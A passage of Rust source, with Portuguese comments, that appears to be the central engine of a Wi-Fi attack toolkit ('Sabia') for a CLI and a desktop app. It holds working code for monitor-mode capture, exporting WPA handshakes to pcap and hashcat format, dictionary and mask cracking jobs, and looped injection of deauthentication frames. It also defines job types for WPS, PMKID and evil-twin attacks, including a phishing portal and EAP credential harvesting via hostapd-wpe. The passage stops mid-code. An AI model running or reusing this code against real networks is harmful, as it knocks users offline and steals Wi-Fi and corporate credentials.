//! Ponte única entre o núcleo e as duas interfaces (servidor local da CLI e //! o app desktop Tauri): ambos chamam exatamente os mesmos métodos, então //! qualquer coisa que funcione em um funciona idêntico no outro. //! //! Sessões de captura, jobs de quebra, exportação de handshakes e deauth //! ficam todos aqui — a CLI e a GUI não reimplementam nada. use crate::audit::AuditLog; use crate::crack::{self, CrackReport}; use crate::doctor::{self, DoctorReport}; use crate::error::{Result, SabiaError}; use crate::handshake::Handshake; #[cfg(target_os = "linux")] use crate::iface::Mode; use crate::iface::{self, Interface}; use crate::netlink::{self, ChannelInfo}; use crate::pcapreader::PcapReader; use crate::pcapwriter::PcapWriter; use crate::scan::{AccessPoint, Client, ScanSnapshot, ScanTable}; use crate::update::{self, UpdateStatus}; use serde::{Deserialize, Serialize}; use std::collections::HashMap; use std::path::{Path, PathBuf}; use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; use std::sync::{Arc, Mutex}; #[cfg(any(target_os = "linux", test))] use std::time::{Duration, Instant}; use std::time::{SystemTime, UNIX_EPOCH}; #[derive(Debug, Clone, Serialize, Deserialize)] pub struct ScanOptions { /// Canal fixo; sem ele, percorre os canais suportados. pub channel: Option, /// `2.4`, `5`, `6` ou `all` (usado quando `channel` é `None`). pub band: Option, /// Tempo em cada canal ao pular. pub hop_ms: u64, /// Salva os quadros capturados neste `.pcap`. pub pcap_out: Option, /// Encerra sozinho depois de N segundos. pub duration_secs: Option, } impl Default for ScanOptions { fn default() -> Self { Self { channel: None, band: None, hop_ms: 350, pcap_out: None, duration_secs: None, } } } #[derive(Debug, Clone, Serialize)] pub struct SessionInfo { pub iface: String, pub running: bool, pub channel: Option, pub channels: Vec, pub frames: u64, pub aps: usize, pub clients: usize, pub handshakes: usize, pub started_unix: u64, pub pcap_out: Option, pub error: Option, } #[derive(Debug, Clone, Serialize)] pub struct CrackJobInfo { pub id: String, pub iface: String, pub bssid: Option, pub station: Option, pub status: String, pub tried: u64, pub started_unix: u64, pub finished_unix: Option, pub report: Option, pub error: Option, } #[derive(Debug, Clone, Serialize)] pub struct ExportReport { pub path: String, pub frames: usize, pub handshakes: usize, } #[derive(Debug, Clone, Serialize)] pub struct WpsJobInfo { pub id: String, pub iface: String, pub bssid: String, pub tool: String, pub status: String, pub pin: Option, pub password: Option, pub output: Vec, pub error: Option, pub started_unix: u64, pub finished_unix: Option, pub pid: Option, } #[derive(Debug, Clone, Serialize)] pub struct EvilTwinJobInfo { pub id: String, /// Interface que captura/desautentica o AP real. pub iface: String, /// Interface que hospeda o clone (precisa ser outra, em modo AP). pub ap_iface: String, pub ssid: String, pub bssid: String, pub portal_port: u16, pub status: String, /// Quantas vezes alguém submeteu uma senha no portal. pub attempts: u32, /// Última tentativa: "correct", "wrong" ou "invalid". pub last_attempt: Option, /// Só preenchido quando alguém digita a senha certa — conferida de /// verdade contra o handshake, não é só o que foi digitado. pub password: Option, pub deauth_job: Option, pub error: Option, pub started_unix: u64, pub finished_unix: Option, #[serde(skip)] pub hostapd_pid: Option, #[serde(skip)] pub dnsmasq_pid: Option, #[serde(skip)] pub stop: Option>, } /// Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X) — ver /// `eviltwin_enterprise.rs`. Diferente do `EvilTwinJobInfo` (PSK), não tem /// portal/senha: a credencial é capturada automaticamente pelo próprio /// handshake EAP, por isso o job só expõe quantas identidades já apareceram /// no log do hostapd-wpe e o caminho do arquivo pra quebra offline. #[derive(Debug, Clone, Serialize)] pub struct EnterpriseTwinJobInfo { pub id: String, pub iface: String, pub ap_iface: String, pub ssid: String, pub bssid: String, pub status: String, pub captured: u32, pub last_identity: Option, pub log_path: String, pub error: Option, pub started_unix: u64, pub finished_unix: Option, #[serde(skip)] pub hostapd_pid: Option, } #[derive(Debug, Clone, Serialize)] pub struct PmkidReport { pub iface: String, pub bssid: String, pub ssid: Option, pub station: String, pub frames_sent: usize, pub pmkid: Option, pub handshakes: usize, pub detail: String, } #[derive(Debug, Clone, Serialize)] pub struct PmfReport { pub iface: String, pub bssid: String, pub station: String, pub frames_sent: usize, pub reconnected: bool, pub packets_before: u64, pub packets_after: u64, pub verdict: String, pub detail: String, } #[derive(Debug, Clone, Serialize)] pub struct HashcatReport { pub path: String, pub hashes: usize, pub handshakes: usize, } #[derive(Debug, Clone, Serialize)] pub struct DeauthReport { pub iface: String, pub bssid: String, pub station: String, pub reason: u16, pub frames_sent: usize, pub direction: String, pub frame_kind: String, } #[derive(Debug, Clone, Serialize)] pub struct DeauthJobInfo { pub id: String, pub iface: String, pub bssid: String, pub station: Option, pub reason: u16, pub direction: String, pub frame_kind: String, pub interval_ms: u64, pub max_secs: Option, pub frames_sent: usize, pub channel: Option, pub stop_on_handshake: bool, pub handshake: bool, pub status: String, pub error: Option, pub started_unix: u64, pub finished_unix: Option, } struct DeauthJob { info: Arc>, stop: Arc, handle: Option>, locked_channel: Option, } struct Session { table: Arc>, running: Arc, channel: Arc>>, locked_channel: Arc>>, channels: Vec, started_unix: u64, pcap_out: Option, error: Arc>>, handle: Option>, } pub struct Engine { sessions: Mutex>, jobs: Mutex>>>, job_seq: AtomicU64, deauth_jobs: Mutex>, deauth_seq: AtomicU64, wps_jobs: Mutex>>>, wps_seq: AtomicU64, eviltwin_jobs: Mutex>>>, eviltwin_seq: AtomicU64, enterprise_twin_jobs: Mutex>>>, enterprise_twin_seq: AtomicU64, audit_path: PathBuf, audit_lock: Arc>, } impl Default for Engine { fn default() -> Self { Self::new() } } impl Engine { pub fn new() -> Self { Self::with_audit_path(PathBuf::from(".sabia-audit.log")) } pub fn with_audit_path(path: impl Into) -> Self { #[cfg(target_os = "linux")] self_heal_eviltwin_leftovers(); Self { sessions: Mutex::new(HashMap::new()), jobs: Mutex::new(HashMap::new()), job_seq: AtomicU64::new(0), deauth_jobs: Mutex::new(HashMap::new()), deauth_seq: AtomicU64::new(0), wps_jobs: Mutex::new(HashMap::new()), wps_seq: AtomicU64::new(0), eviltwin_jobs: Mutex::new(HashMap::new()), eviltwin_seq: AtomicU64::new(0), enterprise_twin_jobs: Mutex::new(HashMap::new()), enterprise_twin_seq: AtomicU64::new(0), audit_path: path.into(), audit_lock: Arc::new(Mutex::new(())), } } pub fn version(&self) -> &'static str { env!("CARGO_PKG_VERSION") } pub fn audit_path(&self) -> &Path { &self.audit_path } /// Chamado pelo handler de SIGINT/SIGTERM do processo que hospeda o /// engine (CLI/Tauri) antes de sair. Faz sincronamente o que a thread /// de limpeza do Evil Twin faria no fim normal do job: mata /// hostapd/dnsmasq, desfaz o iptables e devolve as interfaces pro /// NetworkManager — sem isso o processo morre com as duas interfaces /// presas em `managed no` e o Wi-Fi some do painel do sistema até o /// próximo início do engine rodar `self_heal_eviltwin_leftovers`. #[cfg(target_os = "linux")] pub fn shutdown_cleanup(&self) { use std::process::Command; let jobs: Vec<_> = self .eviltwin_jobs .lock() .unwrap() .values() .cloned() .collect(); for job in jobs { let guard = job.lock().unwrap(); if guard.status != "running" { continue; } if let Some(pid) = guard.hostapd_pid { unsafe { libc::kill(pid as i32, libc::SIGTERM) }; } if let Some(pid) = guard.dnsmasq_pid { unsafe { libc::kill(pid as i32, libc::SIGTERM) }; } for rule in crate::eviltwin::iptables_cleanup_rules(&guard.ap_iface, guard.portal_port) { let _ = Command::new("iptables").args(&rule).status(); } let _ = Command::new("nmcli") .args(["device", "set", &guard.ap_iface, "managed", "yes"]) .status(); let _ = Command::new("nmcli") .args(["device", "set", &guard.iface, "managed", "yes"]) .status(); } let enterprise_jobs: Vec<_> = self .enterprise_twin_jobs .lock() .unwrap() .values() .cloned() .collect(); for job in enterprise_jobs { let guard = job.lock().unwrap(); if guard.status != "running" { continue; } if let Some(pid) = guard.hostapd_pid { unsafe { libc::kill(pid as i32, libc::SIGTERM) }; } let _ = Command::new("nmcli") .args(["device", "set", &guard.ap_iface, "managed", "yes"]) .status(); let _ = Command::new("nmcli") .args(["device", "set", &guard.iface, "managed", "yes"]) .status(); } } #[cfg(not(target_os = "linux"))] pub fn shutdown_cleanup(&self) {} pub fn list_ifaces(&self) -> Result> { iface::list_wireless() } pub fn doctor(&self) -> DoctorReport { doctor::diagnose(self.version(), &self.audit_path) } pub fn set_monitor(&self, name: &str, enable: bool) -> Result<()> { iface::get(name)?; if !enable { self.stop_scan(name); } // Visto ao vivo: com a interface ainda sob o NetworkManager, ele // reage ao modo monitor como uma desconexão e reconecta a interface // de volta em managed — às vezes rápido o bastante pra já estar // gerenciada nem dez segundos depois do botão "ativar modo monitor" // mostrar sucesso, e a captura falha com "está em modo managed" // mesmo a UI dizendo que deu certo. Solta/devolve a interface pro NM // antes/depois de trocar o modo (best-effort: segue sem nmcli). if enable { let _ = std::process::Command::new("nmcli") .args(["device", "set", name, "managed", "no"]) .status(); } let result = netlink::set_monitor_mode(name, enable); if !enable && result.is_ok() { let _ = std::process::Command::new("nmcli") .args(["device", "set", name, "managed", "yes"]) .status(); } result?; self.log( "monitor_mode", name, serde_json::json!({ "enable": enable }), ); Ok(()) } pub fn channels(&self, name: &str) -> Result> { netlink::channels(name) } pub fn set_channel(&self, name: &str, channel: u32) -> Result<()> { netlink::set_channel(name, channel)?; if let Some(session) = self.sessions.lock().unwrap().get(name) { *session.channel.lock().unwrap() = Some(channel); } self.log( "set_channel", name, serde_json::json!({ "channel": channel }), ); Ok(()) } /// Trava a captura em um canal (ou volta a pular canais com `None`). /// Usado por deauth, PMKID e WPS para não perder o alvo enquanto o /// ataque está em andamento. pub fn lock_channel(&self, name: &str, channel: Option) -> Result<()> { if let Some(channel) = channel { netlink::set_channel(name, channel)?; } if let Some(session) = self.sessions.lock().unwrap().get(name) { *session.locked_channel.lock().unwrap() = channel; if let Some(channel) = channel { *session.channel.lock().unwrap() = Some(channel); } } self.log( "lock_channel", name, serde_json::json!({ "channel": channel }), ); Ok(()) } pub fn start_scan(&self, name: &str) -> Result<()> { self.start_scan_with(name, ScanOptions::default()) } #[cfg(target_os = "linux")] pub fn start_scan_with(&self, name: &str, options: ScanOptions) -> Result<()> { use crate::capture::RawCapture; let info = iface::get(name)?; if info.mode == Mode::Managed { return Err(SabiaError::InvalidInput(format!( "{name} está em modo managed; ative o modo monitor antes de capturar" ))); } let cap = RawCapture::open(name)?; cap.set_read_timeout(Duration::from_millis(200))?; let writer = match options.pcap_out.as_ref() { Some(path) => Some(PcapWriter::create(path)?), None => None, }; let channels = match options.channel { Some(channel) => vec![channel], None => netlink::channel_plan(name, options.band.as_deref()).unwrap_or_default(), }; let hop = Duration::from_millis(options.hop_ms.clamp(100, 5_000)); // Substitui uma sessão anterior (se houver) só depois que a nova // captura abriu, para não derrubar a antiga se algo falhar. self.stop_scan(name); let table = Arc::new(Mutex::new(ScanTable::new())); let running = Arc::new(AtomicBool::new(true)); let channel = Arc::new(Mutex::new(None)); let locked_channel = Arc::new(Mutex::new(None)); let error = Arc::new(Mutex::new(None)); let started_unix = unix_now(); let pcap_out = options.pcap_out.clone(); let t = table.clone(); let r = running.clone(); let ch = channel.clone(); let lock = locked_channel.clone(); let err_slot = error.clone(); let iface_name = name.to_string(); let audit_path = self.audit_path.clone(); let audit_lock = self.audit_lock.clone(); let deadline = options .duration_secs .map(|secs| Instant::now() + Duration::from_secs(secs.max(1))); let thread_channels = channels.clone(); let handle = std::thread::spawn(move || { let channels = thread_channels; let mut writer = writer; let mut idx = 0usize; let mut tuned = None; let mut last_hop = Instant::now(); let mut buf = [0u8; 65535]; if !channels.is_empty() { let first = channels[0]; if netlink::set_channel(&iface_name, first).is_ok() { tuned = Some(first); *ch.lock().unwrap() = Some(first); } } while r.load(Ordering::SeqCst) { if deadline.is_some_and(|d| Instant::now() >= d) { break; } let locked = *lock.lock().unwrap(); if let Some(target) = locked { if tuned != Some(target) && netlink::set_channel(&iface_name, target).is_ok() { tuned = Some(target); *ch.lock().unwrap() = Some(target); } } else if channels.len() > 1 && last_hop.elapsed() >= hop { idx = (idx + 1) % channels.len(); let next = channels[idx]; if netlink::set_channel(&iface_name, next).is_ok() { tuned = Some(next); *ch.lock().unwrap() = Some(next); } last_hop = Instant::now(); } match cap.recv(&mut buf) { Ok(Some(n)) => { let frame = &buf[..n]; t.lock().unwrap().ingest(frame); if let Some(w) = writer.as_mut() { if let Err(e) = w.write_frame(frame) { *err_slot.lock().unwrap() = Some(e.to_string()); break; } } } Ok(None) => {} Err(e) => { *err_slot.lock().unwrap() = Some(e.to_string()); break; } } } if let Some(w) = writer.as_mut() { let _ = w.flush(); } r.store(false, Ordering::SeqCst); let stats = t.lock().unwrap().stats(); append_audit( &audit_path, &audit_lock, "scan_stop", &iface_name, &serde_json::json!({ "aps": stats.aps, "clients": stats.clients, "handshakes": stats.handshakes, "frames": stats.frames, }), ); }); self.sessions.lock().unwrap().insert( name.to_string(), Session { table, running, channel, locked_channel, channels, started_unix, pcap_out, error, handle: Some(handle), }, ); self.log( "scan_start", name, serde_json::json!({ "options": options }), ); Ok(()) } #[cfg(not(target_os = "linux"))] pub fn start_scan_with(&self, _name: &str, _options: ScanOptions) -> Result<()> { Err(SabiaError::UnsupportedPlatform) } pub fn stop_scan(&self, name: &str) { let _ = self.stop_deauth_for_iface(name); let handle = { let mut sessions = self.sessions.lock().unwrap(); match sessions.get_mut(name) { Some(session) => { session.running.store(false, Ordering::SeqCst); session.handle.take() } None => None, } }; if let Some(handle) = handle { let _ = handle.join(); } } pub fn list_sessions(&self) -> Vec { let sessions = self.sessions.lock().unwrap(); let mut out: Vec = sessions .iter() .map(|(name, session)| { let stats = session.table.lock().unwrap().stats(); SessionInfo { iface: name.clone(), running: session.running.load(Ordering::SeqCst), channel: *session.channel.lock().unwrap(), channels: session.channels.clone(), frames: stats.frames, aps: stats.aps, clients: stats.clients, handshakes: stats.handshakes, started_unix: session.started_unix, pcap_out: session.pcap_out.as_ref().map(|p| p.display().to_string()), error: session.error.lock().unwrap().clone(), } }) .collect(); out.sort_by(|a, b| a.iface.cmp(&b.iface)); out } pub fn scan_snapshot(&self, name: &str) -> Result { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let table = session.table.lock().unwrap(); let analysis = table.analysis(); let stats = table.stats(); let running = session.running.load(Ordering::SeqCst); // Uma placa pode aceitar o netlink de "modo monitor" (nenhum erro // na hora de ativar) e ainda assim nunca entregar um quadro de // verdade pro socket de captura — comum em Wi-Fi interna de // notebook, cujo firmware ignora o pedido de modo promíscuo. 12s // dão tempo de sobra pra visitar bastante canal (a cada 350ms) sem // achar nem um beacon, o que nunca acontece de verdade num ambiente // com Wi-Fi ao redor — é sinal de que a placa não está entregando // quadro nenhum, não que o ar está vazio. let warning = if running && stats.frames == 0 && unix_now().saturating_sub(session.started_unix) >= 12 { Some( "Nenhum quadro recebido depois de alguns segundos saltando canais — esta placa pode aceitar ativar o modo monitor sem conseguir capturar de verdade (comum em Wi-Fi interna de notebook). Tente um adaptador USB dedicado a modo monitor/injeção." .to_string(), ) } else { None }; let snapshot = ScanSnapshot { iface: name.to_string(), running, channel: *session.channel.lock().unwrap(), stats, access_points: table.access_points(), clients: table.clients(), handshakes: table.handshakes(), analysis, error: session.error.lock().unwrap().clone(), warning, }; drop(table); drop(sessions); Ok(snapshot) } /// Compatibilidade com a API antiga: só os APs da sessão. pub fn scan_results(&self, name: &str) -> Vec { self.sessions .lock() .unwrap() .get(name) .map(|s| s.table.lock().unwrap().access_points()) .unwrap_or_default() } pub fn scan_clients(&self, name: &str) -> Vec { self.sessions .lock() .unwrap() .get(name) .map(|s| s.table.lock().unwrap().clients()) .unwrap_or_default() } /// Analisa um `.pcap` offline e devolve o mesmo snapshot da captura ao /// vivo (sem sessão e sem tocar no rádio). pub fn analyze_pcap(&self, path: impl AsRef) -> Result { let path = path.as_ref(); let mut reader = PcapReader::open(path)?; if !reader.supports_80211() { return Err(SabiaError::InvalidPcap( "link-type não é 802.11 nem radiotap".into(), )); } let mut table = ScanTable::new(); while let Some(frame) = reader.next_frame()? { table.ingest(&frame.data); } let analysis = table.analysis(); Ok(ScanSnapshot { iface: path.display().to_string(), running: false, channel: None, stats: table.stats(), access_points: table.access_points(), clients: table.clients(), handshakes: table.handshakes(), analysis, error: None, warning: None, }) } /// Modelo completo do relatório: snapshot atual + trilha de auditoria. /// A interface renderiza com Paged.js; a mesma estrutura vira HTML /// standalone no servidor local. pub fn report(&self, name: &str) -> Result { let snapshot = self.scan_snapshot(name)?; let audit = self.audit_entries(Some(60)).unwrap_or_default(); Ok(crate::report::ReportModel { title: format!("Auditoria Wi-Fi · {name}"), version: self.version().to_string(), iface: snapshot.iface, running: snapshot.running, generated_unix: unix_now(), stats: snapshot.stats, access_points: snapshot.access_points, clients: snapshot.clients, handshakes: snapshot.handshakes, analysis: snapshot.analysis, audit, }) } pub fn handshakes(&self, name: Option<&str>) -> Vec { let sessions = self.sessions.lock().unwrap(); let mut out = Vec::new(); for (iface_name, session) in sessions.iter() { if name.is_some_and(|want| want != iface_name) { continue; } out.extend(session.table.lock().unwrap().handshakes()); } out.sort_by_key(|h| std::cmp::Reverse(h.last_seen_unix)); out } pub fn export_handshake( &self, name: &str, bssid: &str, station: &str, out: impl AsRef, ) -> Result { let hs = self .session_handshake(name, bssid, station)? .ok_or_else(|| SabiaError::InvalidInput("handshake não encontrado".into()))?; let frames = hs.raw_frames(); if frames.is_empty() { return Err(SabiaError::InvalidInput( "handshake sem quadros crus (captura antiga)".into(), )); } let path = out.as_ref(); let mut writer = PcapWriter::create(path)?; for frame in &frames { writer.write_frame(frame)?; } writer.flush()?; self.log( "export_handshake", name, serde_json::json!({ "bssid": bssid, "station": station, "path": path, "frames": frames.len() }), ); Ok(ExportReport { path: path.display().to_string(), frames: frames.len(), handshakes: 1, }) } pub fn export_all_handshakes(&self, name: &str, out: impl AsRef) -> Result { let entries = { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let entries = session.table.lock().unwrap().handshake_entries(); entries }; let path = out.as_ref(); let mut writer = PcapWriter::create(path)?; let mut frames = 0usize; let mut handshakes = 0usize; for hs in &entries { let raw = hs.raw_frames(); if raw.is_empty() { continue; } for frame in &raw { writer.write_frame(frame)?; frames += 1; } handshakes += 1; } writer.flush()?; if handshakes == 0 { return Err(SabiaError::InvalidInput( "nenhum handshake com quadros crus para exportar".into(), )); } self.log( "export_handshakes", name, serde_json::json!({ "path": path, "frames": frames, "handshakes": handshakes }), ); Ok(ExportReport { path: path.display().to_string(), frames, handshakes, }) } pub fn export_hc22000( &self, name: &str, bssid: &str, station: &str, out: impl AsRef, ) -> Result { let hs = self .session_handshake(name, bssid, station)? .ok_or_else(|| SabiaError::InvalidInput("handshake não encontrado".into()))?; let lines = crate::hashcat::export([&hs]); if lines.is_empty() { return Err(SabiaError::InvalidInput( "handshake sem SSID, PMKID ou mensagem 2 para exportar".into(), )); } let path = out.as_ref(); std::fs::write(path, format!("{}\n", lines.join("\n")))?; self.log( "export_hc22000", name, serde_json::json!({ "bssid": bssid, "station": station, "path": path, "hashes": lines.len() }), ); Ok(HashcatReport { path: path.display().to_string(), hashes: lines.len(), handshakes: 1, }) } pub fn export_all_hc22000(&self, name: &str, out: impl AsRef) -> Result { let entries = { let sessions = self.sessions.lock().unwrap(); let session = sessions.get(name).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })?; let table = session.table.lock().unwrap(); table.handshake_entries() }; let lines = crate::hashcat::export(entries.iter()); if lines.is_empty() { return Err(SabiaError::InvalidInput( "nenhum handshake com material para .hc22000".into(), )); } let path = out.as_ref(); std::fs::write(path, format!("{}\n", lines.join("\n")))?; self.log( "export_hc22000_all", name, serde_json::json!({ "path": path, "hashes": lines.len() }), ); Ok(HashcatReport { path: path.display().to_string(), hashes: lines.len(), handshakes: entries.len(), }) } pub fn start_crack( &self, name: &str, bssid: Option<&str>, station: Option<&str>, wordlist: impl AsRef, apply_rules: bool, ) -> Result { self.start_crack_inner( name, bssid, station, Some(wordlist.as_ref().to_path_buf()), apply_rules, ) } /// Quebra com o dicionário embutido (9,7 milhões de senhas reais, /// filtradas pro comprimento de WPA), sem exigir nenhum arquivo externo. /// É o padrão do botão “Quebrar senha”. pub fn start_crack_default( &self, name: &str, bssid: Option<&str>, station: Option<&str>, apply_rules: bool, ) -> Result { self.start_crack_inner(name, bssid, station, None, apply_rules) } fn start_crack_inner( &self, name: &str, bssid: Option<&str>, station: Option<&str>, wordlist: Option, apply_rules: bool, ) -> Result { if let Some(wordlist) = &wordlist { if !wordlist.is_file() { return Err(SabiaError::InvalidInput(format!( "dicionário não encontrado: {}", wordlist.display() ))); } } let table = { let sessions = self.sessions.lock().unwrap(); sessions.get(name).map(|s| s.table.clone()).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })? }; let hs = { let table = table.lock().unwrap(); match (bssid, station) { (Some(b), Some(s)) => table.handshake(b, s).filter(|h| h.is_crackable()).cloned(), (Some(b), None) => table.first_crackable(Some(b), None).cloned(), (None, Some(s)) => table.first_crackable(None, Some(s)).cloned(), (None, None) => table.first_crackable(None, None).cloned(), } } .ok_or_else(|| { SabiaError::InvalidInput("nenhum handshake quebrável para os filtros informados".into()) })?; let id = format!("crack-{}", self.job_seq.fetch_add(1, Ordering::SeqCst) + 1); let job = Arc::new(Mutex::new(CrackJobInfo { id: id.clone(), iface: name.to_string(), bssid: Some(hs.bssid.clone()), station: Some(hs.station.clone()), status: "running".into(), tried: 0, started_unix: unix_now(), finished_unix: None, report: None, error: None, })); self.jobs.lock().unwrap().insert(id.clone(), job.clone()); let audit_path = self.audit_path.clone(); let audit_lock = self.audit_lock.clone(); let iface_name = name.to_string(); let job_thread = job.clone(); let hs_bssid = hs.bssid.clone(); let hs_station = hs.station.clone(); let wordlist_label = wordlist .as_ref() .map(|p| p.display().to_string()) .unwrap_or_else(|| "dicionário embutido (9,7 milhões de senhas)".into()); let thread_wordlist = wordlist; let thread_bssid = hs_bssid.clone(); let thread_station = hs_station.clone(); std::thread::spawn(move || { let progress_job = job_thread.clone(); let mut progress = move |tried| { if let Ok(mut j) = progress_job.lock() { j.tried = tried; } }; let result = match &thread_wordlist { Some(path) => crack::crack_handshake(&hs, path, apply_rules, &mut progress), None => crack::crack_handshake_default(&hs, apply_rules, &mut progress), }; let mut guard = job_thread.lock().unwrap(); guard.finished_unix = Some(unix_now()); match result { Ok(report) => { guard.status = "done".into(); guard.tried = report.tried; if let Some(password) = report.password.as_deref() { table.lock().unwrap().set_password( &thread_bssid, &thread_station, password, ); append_audit( &audit_path, &audit_lock, "crack_success", &iface_name, &serde_json::json!({ "bssid": thread_bssid, "station": thread_station, "tried": report.tried, "elapsed_ms": report.elapsed_ms, }), ); } guard.report = Some(report); } Err(e) => { guard.status = "error".into(); guard.error = Some(e.to_string()); } } }); self.log( "crack_start", name, serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "wordlist": wordlist_label }), ); Ok(id) } /// Força bruta por máscara (ex.: `?d?d?d?d?d?d?d?d` pra 8 dígitos), sem /// dicionário. `max_candidates` é um limite de segurança — máscaras /// grandes (ex.: `?l?l?l?l?l?l?l?l`, 26^8 ≈ 208 bilhões) travariam a /// máquina por dias; recusa de cara em vez de deixar o job rodar pra /// sempre sem avisar. pub fn start_crack_mask( &self, name: &str, bssid: Option<&str>, station: Option<&str>, mask: &str, max_candidates: u64, ) -> Result { let mask = crate::rules::Mask::parse(mask).map_err(SabiaError::InvalidInput)?; let total = mask.total().ok_or_else(|| { SabiaError::InvalidInput("máscara grande demais pra calcular o total".into()) })?; if total > max_candidates { return Err(SabiaError::InvalidInput(format!( "máscara tem {total} combinações, acima do limite de {max_candidates} — \ restrinja a máscara (ex.: menos posições ?a/?l) antes de rodar" ))); } let table = { let sessions = self.sessions.lock().unwrap(); sessions.get(name).map(|s| s.table.clone()).ok_or_else(|| { SabiaError::InvalidInput(format!("nenhuma sessão de captura em {name}")) })? }; let hs = { let table = table.lock().unwrap(); match (bssid, station) { (Some(b), Some(s)) => table.handshake(b, s).filter(|h| h.is_crackable()).cloned(), (Some(b), None) => table.first_crackable(Some(b), None).cloned(), (None, Some(s)) => table.first_crackable(None, Some(s)).cloned(), (None, None) => table.first_crackable(None, None).cloned(), } } .ok_or_else(|| { SabiaError::InvalidInput("nenhum handshake quebrável para os filtros informados".into()) })?; let id = format!("crack-{}", self.job_seq.fetch_add(1, Ordering::SeqCst) + 1); let job = Arc::new(Mutex::new(CrackJobInfo { id: id.clone(), iface: name.to_string(), bssid: Some(hs.bssid.clone()), station: Some(hs.station.clone()), status: "running".into(), tried: 0, started_unix: unix_now(), finished_unix: None, report: None, error: None, })); self.jobs.lock().unwrap().insert(id.clone(), job.clone()); let audit_path = self.audit_path.clone(); let audit_lock = self.audit_lock.clone(); let iface_name = name.to_string(); let job_thread = job.clone(); let hs_bssid = hs.bssid.clone(); let hs_station = hs.station.clone(); let thread_bssid = hs_bssid.clone(); let thread_station = hs_station.clone(); std::thread::spawn(move || { let progress_job = job_thread.clone(); let mut progress = move |tried| { if let Ok(mut j) = progress_job.lock() { j.tried = tried; } }; let result = crack::crack_handshake_mask(&hs, &mask, &mut progress); let mut guard = job_thread.lock().unwrap(); guard.finished_unix = Some(unix_now()); match result { Ok(report) => { guard.status = "done".into(); guard.tried = report.tried; if let Some(password) = report.password.as_deref() { table.lock().unwrap().set_password( &thread_bssid, &thread_station, password, ); append_audit( &audit_path, &audit_lock, "crack_success", &iface_name, &serde_json::json!({ "bssid": thread_bssid, "station": thread_station, "tried": report.tried, "elapsed_ms": report.elapsed_ms, }), ); } guard.report = Some(report); } Err(e) => { guard.status = "error".into(); guard.error = Some(e.to_string()); } } }); self.log( "crack_start", name, serde_json::json!({ "job": id, "bssid": hs_bssid, "station": hs_station, "mask": true, "total": total }), ); Ok(id) } pub fn crack_job(&self, id: &str) -> Option { self.jobs .lock() .unwrap() .get(id) .map(|j| j.lock().unwrap().clone()) } pub fn crack_jobs(&self) -> Vec { let jobs = self.jobs.lock().unwrap(); let mut out: Vec<_> = jobs.values().map(|j| j.lock().unwrap().clone()).collect(); out.sort_by(|a, b| { b.started_unix .cmp(&a.started_unix) .then_with(|| a.id.cmp(&b.id)) }); out } #[cfg(target_os = "linux")] pub fn deauth( &self, name: &str, bssid: &str, station: Option<&str>, count: u32, reason: u16, ) -> Result { self.deauth_directional(name, bssid, station, count, reason, "ap", "deauth") } /// `direction`: `ap` (AP→STA), `sta` (STA→AP, exige estação) ou `both`. /// `frame_kind`: `deauth` ou `disassoc`. #[allow(clippy::too_many_arguments)] pub fn deauth_directional( &self, name: &str, bssid: &str, station: Option<&str>, count: u32, reason: u16, direction: &str, frame_kind: &str, ) -> Result { use crate::inject::{self, RawInjector}; if !(1..=256).contains(&count) { return Err(SabiaError::InvalidInput( "quantidade de quadros deve ficar entre 1 e 256".into(), )); } if !matches!(direction, "ap" | "sta" | "both") { return Err(SabiaError::InvalidInput( "direção inválida: use ap, sta ou both".into(), )); } if !matches!(frame_kind, "deauth" | "disassoc") { return Err(SabiaError::InvalidInput( "quadro inválido: use deauth ou disassoc".into(), )); } if direction != "ap" && station.is_none() { return Err(SabiaError::InvalidInput( "direção sta/both exige a estação alvo".into(), )); } let info = iface::get(name)?; if info.mode == Mode::Managed { return Err(SabiaError::InvalidInput(format!( "{name} está em modo managed; ative o modo monitor antes de injetar" ))); } let ap = parse_mac(bssid)?; let sta = station.map(parse_mac).transpose()?; let dest = sta.unwrap_or(inject::BROADCAST); let reason = inject::Reason::from_u16(reason); let build = |transmitter: [u8; 6], destination: [u8; 6]| { if frame_kind == "disassoc" { inject::disassoc_frame_from(transmitter, ap, destination, reason) } else { inject::deauth_frame_from(transmitter, ap, destination, reason) } }; let frames: Vec> = match direction { "ap" => vec![build(ap, dest)], "sta" => vec![build(dest, ap)], _ => vec![build(ap, dest), build(dest, ap)], }; let injector = RawInjector::open(name)?; let mut frames_sent = 0usize; let mut seq: u16 = 0; for _ in 0..count { for frame in &frames { let mut frame = frame.clone(); seq = seq.wrapping_add(1); inject::set_seq(&mut frame, seq); injector.send(&frame)?; frames_sent += 1; } std::thread::sleep(Duration::from_millis(10)); } let report = DeauthReport { iface: name.to_string(), bssid: bssid.to_string(), station: station.unwrap_or("ff:ff:ff:ff:ff:ff").to_string(), reason, frames_sent, direction: direction.to_string(), frame_kind: frame_kind.to_string(), }; self.log( "deauth", name, serde_json::json!({ "bssid": bssid, "station": report.station, "reason": reason, "frames": frames_sent, "direction": direction, "frame_kind": frame_kind, }), ); Ok(report) } /// Inicia uma desautenticação contínua (até `stop_deauth_job`). O canal da /// captura é travado no canal do AP enquanto o job roda, senão o salto de /// canais faria os quadros saírem na frequência errada e perderia o /// handshake. `stop_on_handshake` encerra sozinho quando o par /// (BSSID, estação) fica quebrável. #[cfg(target_os = "linux")] #[allow(clippy::too_many_arguments)] pub fn start_deauth_job( &self, name: &str, bssid: &str, station: Option<&str>, reason: u16, direction: &str, frame_kind: &str, interval_ms: u64, max_secs: Option, stop_on_handshake: bool, ) -> Result { self.start_deauth_job_burst( name, bssid, station, reason, direction, frame_kind, interval_ms, max_secs, stop_on_handshake, 1, ) } #[cfg(target_os = "linux")] #[allow(clippy::too_many_arguments)] fn start_deauth_job_burst( &self, name: &str, bssid: &str, station: Option<&str>, reason: u16, direction: &str, frame_kind: &str, interval_ms: u64, max_secs: Option, stop_on_handshake: bool, burst: u32, ) -> Result { use crate::inject::{self, RawInjector}; if !matches!(direction, "ap" | "sta" | "both") { return Err(SabiaError::InvalidInput( "direção inválida: use ap, sta 